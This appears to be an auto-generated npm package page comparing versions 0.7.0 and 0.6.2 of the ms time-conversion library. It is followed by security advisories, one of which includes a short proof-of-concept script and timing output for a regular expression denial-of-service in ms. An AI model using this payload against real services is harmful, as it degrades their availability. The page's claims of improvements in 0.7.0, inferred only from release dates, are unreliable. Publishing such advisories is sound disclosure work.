The npm package ms provides a concise and efficient utility for converting between various time formats, proving invaluable for developers needing to handle time durations in their JavaScript applications, whether on the server-side with Node.js or within the browser. Examining versions 0.7.0 and 0.6.2, the core functionality remains consistent – a testament to the library's stable and reliable nature. Both versions offer the same core featureset for converting human-readable time spans (like '2 days' or '1.5 hours') into milliseconds, or vice versa.
The key difference lies in the release dates. Version 0.7.0 was launched roughly a year following version 0.6.2, suggesting a period of refinement, bug fixes, or subtle performance enhancements. While the package metadata doesn't explicitly detail these changes, the updated release date implies improvements. Developers upgrading from 0.6.2 to 0.7.0 would likely benefit from a more polished and potentially more performant experience. The "devDependencies" section, featuring tools like mocha for testing, serve for local development, and expect.js for assertions, shows an emphasis on code quality and testability. This focus gives developers confidence in the library's reliability. Both versions tap into the same repository meaning there are no big architectural changes or forks between the two. The consistent repository and dependency structure reveal a commitment to maintaining a well-tested, simple, and effective tool for time conversions in JavaScript projects.
All the vulnerabilities related to the version 0.7.0 of the package
Regular Expression Denial of Service in ms
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.